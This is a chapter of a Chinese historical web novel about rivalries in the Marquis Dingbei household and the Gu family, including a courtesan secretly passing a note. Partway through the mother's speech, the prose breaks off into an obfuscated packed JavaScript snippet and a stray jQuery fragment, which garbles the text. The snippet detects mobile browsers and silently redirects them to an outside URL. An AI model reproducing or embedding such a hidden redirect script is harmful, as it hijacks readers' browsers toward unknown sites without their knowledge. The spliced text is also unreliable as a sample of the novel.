而此刻的定北侯府中。
站在凉亭下的青年,余光看着不断向他走近的侍从,只听他声音低沉的开口道,“出了何事?”
“回世子,听下面的人来报,三公子回京了。”
听了这话,阖上眼眸歇息的谢昭,甚至连眼皮都没掀起,语气很是随意应了声。
只是,方才神情还是平淡的青年,不知怎的,忽然就见他皱起眉头,声线微冷道,“最近老三那边,继续不远不近的跟着。最重要的,还是要加紧对那位的追查,活要见人,死要见尸。”
“回世子,属下明白。”
“嗯”。
谢昭说罢,他抬起手轻摆了摆,随后,就听得身侧之人脚步声渐渐远了去。
邀月楼二楼雅间内,案上置了一桌酒席,谢韫将虚掩的门一推开,珠帘后传来的琵琶声愈发婉转动听。
听得雕花木门被推开的动静,端坐在圈椅上微阖眼眸细听的青年,登即睁开双眼,侧身看向来人,他笑着站起身来。
“哟,您可终于舍得回来了,再不回来,我还以为就要定居在江南了呢!”
这说话的人,正是谢韫的好友,户部尚书家的四公子韩述,和他一样都是庶出的身份,不得家族的重视。
“你这从哪儿知道我去了南方?”谢韫可没同韩述说过这事。
“前几日,遇到个赵姓的小官,估计是知道你我之间的关系好,他说与我听的。”
“是他。”
“是啊,怎么了吗?”韩述说着,亲手端起酒壶给谢韫倒上一盏子酒。
“他是我在宣州那边认识的,只是没想到,他竟也回了京城?”
思及此处,谢韫总觉得有种说不出的怪异。
赵钱这二人,他们的官阶虽不大高,但和盐税一事,有脱不了的关系……赵岐怎会在这时回了京城。
“只是,更让我没想到的是,你这不过出了京城一趟,竟还给自己寻了个夫人,谢韫你可真是有本事呀!”
“旁人不知,你还不知我在侯府中的境遇,我此番也到了年岁,既是早晚都要成婚,我还不如自个儿挑个对眼的。”
“这就对眼了?你在外,可没骗人家小姑娘吧,别对方知道了你在京里的名声,到时候哭着闹着要和你退亲呢~”
这话,也不过就是随意的一番打趣,俩人相识许久,韩述清楚谢韫做不出这事,但打趣一番也是好玩。
“这就不用你操心了。”谢韫垂眸拾掇了下袖角,随后抬眸嘴角含笑说道。
“不过,你今日叫我来此处,不会就是为了和我说这些吧?”青年修长的手平放在桌案上,只听他语气带着几分疑惑。
“你这话说的,可就太让人伤心了,怎么……无事,就不能叫你过来了吗?”
“可真没看出,原来你也是个重色轻友的家伙?”
雅间里的俩人正笑说着,一道清悦女声从画着寒梅图样的屏风后传来。
“哟!韩公子是在说谁重色轻友呢?”
只一听得这声,俩人就知道了来人是谁。
韩述见着,略抬了抬手,珠帘后的伶人得了示意,止住了手边的动作,琵琶声歇,伶人起身稍行了行礼,随即便轻声的退了出去。
屏风后的那道倩影,缓步行至人前,来人正是这邀月楼四朵金花之一,烟雨姑娘。
“你这大忙人,可真是来的巧呀!我等了一个时辰,都不见你人,谢韫这前脚刚来,你后脚就跟到。”韩述语气颇为耐人寻味道。
“韩公子你可真会说笑,见着个人,你都要给对方按上个罪名,方才烟雨进来时,就听着您在说谢公子不好呢!”
能成为邀月楼的四朵金花之一,光凭着美貌这一项是绝对不够的,烟雨在邀月楼已待了有些年月了,长袖善舞的本事已练得炉火纯青。
就在不知觉间,烟雨就将话题转了出去,而韩述却毫无察觉。
俩人一来一往谈话间,坐在旁侧的谢韫,他只微垂着眉眼,目光淡淡的落在桌案上的酒盏上,也不知他在想些什么。
身边谈话的声音还在继续,谢韫很快从思绪中醒过神来。
“谢韫,你觉得我说的可对?”
听了这话,青年端起酒盏的动作微微一顿,谢韫抬起眼眸,目光细从他身上打量一番,若非相识多年,谢韫真有些懒得理睬他。
他就着手边端起的酒盏,轻饮了一口,尔后,他看向眼前人声音低沉道,“韩述,你们同年,若我记得没错,你好像比我还要大了些许月份,你年纪也不小了……”
谢韫话说到此处,没再接着说下去。
听得这话,韩述语气幽幽道,“谢韫,我是真没看出啊,原来你竟是这样的人。”
“好了,韩公子莫气了,谢公子方才不过是和你开玩笑罢了。”
烟雨姑娘说着,她盈盈含笑上前几步,微微屈身分别替雅间内两人斟上一盏子酒。
她挽起袖,依次将两盏子酒递给身边的俩人,第一盏先是递给了韩述,然后第二盏才递给谢韫。
只是,在酒盏将要落到谢韫手上时,烟雨皓腕微微一转,使得酒盏又收了回来。
尔后,便听得她抿唇轻轻含笑问道,“方才听得韩公子说,谢公子您不日后就要成家,烟雨这里恭喜公子,只是……往后,公子您还能来这里给烟雨捧场吗?”
“烟雨,你在笑说什么胡话呢,谢韫他这样的人,怎会被一个小小女子栓住?”
听得这话,烟雨唇角微微勾起,盈盈一笑道,“韩公子说的很有道理。”
似是被韩述的这番话所取悦,烟雨纤手上端着的一尊酒盏,且又徐徐递到了谢韫的跟前。
与此同时,还有烟雨掌中所捏的纸团,也借着递酒的间隙,塞至谢韫的手中。
而坐在一旁的韩述,还手端酒盏,慢慢品茗着美酒,没有丁点儿的察觉。
……
就在这一日傍晚时分,顾府的大房院中。
“她什么身份,你又是什么身份,她的话你也相信,往后你最好少和她混在一起。”
隔窗半开着,守在门口的侍女,隐约听到从厢房内传出的声。
这正在厢房中说话的人,是大房母女俩。
顾嘉将今日从顾嫣那儿听来的话,说给了母亲听。
“娘,你为何要这般说,你这些日子和四叔母相处的不是挺好么?”
“真的好吗?”大夫人没有回答,却是反问于她。
“你也不瞧瞧她是怎么成为你的四叔母……她这种身份,你娘怎么会和这种人关系好,不过都是做戏罢了。”
“她能成为你四叔母,就表明她的本事不小,顾嫣是她的亲生女儿,定然言传身教,也是个有心机的……你和她才相处多少日子,关系是有多好,她会将这事告诉你,不要做了她人手中的工具,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283836|174805||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却还傻傻的什么都不知道。”看着身边的姑娘,大夫人一言一句的同她耐心说道。
“娘,嘉儿知道了。”听得母亲这般说,顾嘉低眸抿了抿唇,随后只听她轻声回道。
见嘉儿听进了她的话,大夫人舒了口心,便是清楚女儿心思太过单纯。所以,她和老爷替她寻了门家中关系简单的人家。
也是这些年,夫妻俩人太过宠爱这个女儿,因为老爷的官位在几兄弟里最高,平日里,府上几个姐妹们都各种捧着,又有她和老爷,还有大儿子护着,养得她性子愈发单纯。
头一回见着四房的那个姑娘时,大夫人亦是眼前一亮,那个少女模样生得和她生母有几分相似,却比那人更为令人惊艳。
见着这样一副容颜,也怪不得顾嘉会不高兴,平日里,女儿……时常被各种捧着,被姐妹们夸赞着,当下时,她许会觉着那些人阿谀奉承,巴结讨好的嘴脸十分难看,可一旦,出现了个生得比她还要漂亮的人,她的心中登即就会失衡。
年轻时,大夫人初次见到孟婉时,心里也是不大高兴,都是从这年纪过来,所以她很理解女儿的心思。
可,空有漂亮的外表,却是没什么用的,若不然,孟婉也不会早早病逝。
从前,大夫人不大喜欢孟婉,多多少少因为她模样生得好看,她心生些微嫉妒的缘故,但那时,她嘴硬不可能承认,只觉着孟婉商贾之女的身份,怎么都难登大雅之堂。
她出自书香世家,和孟婉友好相处,端会辱没了她的身份。
而现如今的这个苏寻月,她更是看不上眼,苏寻月能成为四弟的正室夫人,她若是没使得一点心机和手段,她是怎么都不相信的。
甚至,她都有些怀疑孟婉的病逝,同她都会有些关系。
以寡妇身份接近四弟,先成为一个小妾,再爬到正室的这个位置,这一步步的算计,大夫人只是想想,就觉得十分可怖。
而今孟婉的儿子,倒似成了她苏寻月的儿子般,同为原配正室夫人,大夫人设身处地,心中是愈发同情孟婉的遭遇,同时间,也是愈发瞧不上苏寻月。
可同情归同情,大夫人不会因为这点子事,就对苏寻月母女做什么。
但若她们敢起利用她女儿的心思,她也不似孟婉那般好欺负的。
“嘉儿,平日里,你瞧着旁人行事时,你要用着点心去看,去观察,仔细思量对方为何要这般处事。”
似意识到自己今日说的有些多,大夫人怕贪多坏事,她闭上口,见少女鬓边微松的步摇,她缓缓上前两步,抬手将少女乌发上的步摇微微调正。
大夫人轻轻抚摸了下顾嘉的头发,尔后退后两步,温声道,“娘今日同你说的这些,确实有些多,嘉儿你或许一下可能很难去理解,但娘相信嘉儿,只要你愿意费心思,便没有你学不会的。”
“娘,嘉儿已经大了,您说的这些,嘉儿都知道,只不过我……有时情绪一上来,就有些控制不住。”
就在大房母女俩人谈话间,窗外的落日余晖,不知觉间,已没了踪影。
夜幕低垂,顾府的各个厢房,陆陆续续的被侍女们点上了烛火,通明一片。
晚膳过后,顾晚吟回了厢房,透过半开的雕花隔窗,她看着长廊下的盏盏红绉纱灯笼,将夜幕照亮。
“姑娘,这您要的账本。”
绿屏从箱笼里寻出这个账本,递交到自家姑娘跟前。